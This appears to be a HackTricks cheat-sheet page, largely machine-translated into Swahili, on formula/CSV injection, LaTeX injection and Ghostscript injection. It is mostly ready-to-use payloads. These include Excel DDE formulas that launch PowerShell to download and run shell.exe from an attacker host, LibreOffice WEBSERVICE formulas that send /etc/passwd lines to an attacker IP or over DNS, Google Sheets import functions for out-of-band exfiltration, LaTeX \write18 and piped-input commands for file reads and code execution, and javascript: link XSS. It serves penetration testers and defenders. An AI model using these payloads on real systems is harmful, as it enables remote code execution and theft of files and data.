Formula/CSV/Doc/LaTeX/GhostScript Injection
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Formula Injection
Info
Ikiwa ingizo lako lina onyeshwa ndani ya faili za CSV (au faili nyingine yoyote ambayo huenda itafunguliwa na Excel), huenda ukawa na uwezo wa kuweka formulas za Excel ambazo zita tekelezwa wakati mtumiaji anapofungua faili au wakati mtumiaji anapobofya kiungo fulani ndani ya karatasi ya excel.
caution
Sasa hivi Excel itamwonya (mara kadhaa) mtumiaji wakati kitu kinapoload kutoka nje ya Excel ili kumzuia kufanya vitendo vya uhalifu. Hivyo basi, juhudi maalum za Uhandisi wa Kijamii zinapaswa kutumika kwa payload ya mwisho.
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
Mfano ufuatao ni muhimu sana kutoa maudhui kutoka kwa karatasi ya mwisho ya excel na kufanya maombi kwa maeneo yasiyo na mpangilio. Lakini inahitaji mtumiaji kubonyeza kiungo (na kukubali viashiria vya onyo).
Mfano ufuatao umechukuliwa kutoka https://payatu.com/csv-injection-basic-to-exploit
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unavyotumiwa kupitia shambulio la CSV injection. Nia kuu ya mshambuliaji ni kuathiri mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Njia hii inahusisha mshambuliaji kuingiza mzigo mbaya katika programu, hasa kwa kuingiza fomula hatari katika maeneo yaliyokusudiwa kwa maelezo ya wanafunzi. Shambulio linaendelea kama ifuatavyo:
- Kuingiza Mzigo Mbaya:
- Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumika mara nyingi katika karatasi za kazi (mfano,
=HYPERLINK("<malicious_link>","Click here")
). - Fomula hii imeundwa kuunda kiungo, lakini inaelekeza kwenye seva mbaya inayodhibitiwa na mshambuliaji.
- Kusafirisha Data Zilizovunjwa:
- Walimu, wasiojua kuhusu uvunjaji, wanatumia kazi ya programu kusafirisha data hiyo kwenye faili la CSV.
- Faili la CSV, linapofunguliwa, bado lina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa katika karatasi ya kazi.
- Kuchochea Shambulio:
- Mwalimu anabonyeza kiungo, akiamini ni sehemu halali ya maelezo ya mwanafunzi.
- Baada ya kubonyeza, data nyeti (inaweza kujumuisha maelezo kutoka kwenye karatasi ya kazi au kompyuta ya mwalimu) inatumwa kwenye seva ya mshambuliaji.
- Kurekodi Data:
- Seva ya mshambuliaji inapata na kurekodi data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu.
- Mshambuliaji anaweza kisha kutumia data hii kwa madhumuni mbalimbali mabaya, na kuathiri zaidi faragha na usalama wa wanafunzi na taasisi.
RCE
Angalia post ya asili kwa maelezo zaidi.
Katika mipangilio maalum au toleo la zamani la Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumika kwa kutekeleza amri zisizo na mpangilio. Ili kutumia hili, mipangilio ifuatayo inapaswa kuwezeshwa:
- Nenda kwa File → Options → Trust Center → Trust Center Settings → External Content, na uwezeshe Dynamic Data Exchange Server Launch.
Wakati karatasi ya kazi yenye mzigo mbaya inafunguliwa (na ikiwa mtumiaji anakubali onyo), mzigo huo unatekelezwa. Kwa mfano, ili kuzindua programu ya kalkuleta, mzigo ungekuwa:
=cmd|' /C calc'!xxx
Amri za ziada zinaweza pia kutekelezwa, kama vile kupakua na kutekeleza faili kwa kutumia PowerShell:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc inaweza kutumika kusoma faili za ndani na kutoa data. Hapa kuna baadhi ya mbinu:
- Kusoma mstari wa kwanza kutoka faili ya ndani
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
- Kutuma data iliyosomwa kwa seva inayodhibitiwa na mshambuliaji:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- Kutuma zaidi ya mstari mmoja:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- Uhamasishaji wa DNS (kutuma data iliyosomwa kama maswali ya DNS kwa seva ya DNS inayodhibitiwa na mshambuliaji):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets inatoa kazi ambazo zinaweza kutumika kwa uhamasishaji wa data OOB:
- CONCATENATE: Inachanganya nyuzi pamoja -
=CONCATENATE(A2:E2)
- IMPORTXML: Inaleta data kutoka aina za data zilizopangwa -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: Inaleta RSS au ATOM feeds -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: Inaleta data kutoka kwenye meza za HTML au orodha -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: Inaleta anuwai ya seli kutoka kwenye karatasi nyingine -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: Inatia picha kwenye seli -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
Kawaida seva ambazo zitakutana mtandaoni ambazo hubadilisha msimbo wa LaTeX kuwa PDF hutumia pdflatex
.
Programu hii inatumia sifa 3 kuu ili (kuzuia) kuruhusu utekelezaji wa amri:
--no-shell-escape
: Zuia muundo wa\write18{command}
, hata kama umewezeshwa katika faili ya texmf.cnf.--shell-restricted
: Kama--shell-escape
, lakini imepunguzia seti 'salama' ya amri zilizowekwa awali (**Katika Ubuntu 16.04 orodha iko katika/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Ruhusu muundo wa\write18{command}
. Amri inaweza kuwa amri yoyote ya shell. Muundo huu kawaida haukubaliwi kwa sababu za usalama.
Hata hivyo, kuna njia nyingine za kutekeleza amri, hivyo ili kuepuka RCE ni muhimu sana kutumia --shell-restricted
.
Read file
Unaweza kuhitaji kurekebisha uhamasishaji na vifungashio kama [ au $.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Soma faili la mstari mmoja
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Soma faili lenye mistari mingi
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
Andika faili
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Command execution
Ingizo la amri litapelekwa kwa stdin, tumia faili ya muda ili kulipata.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
Ikiwa utapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila wahusika wabaya.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
Cross Site Scripting
Kutoka @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Angalia https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Marejeo
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.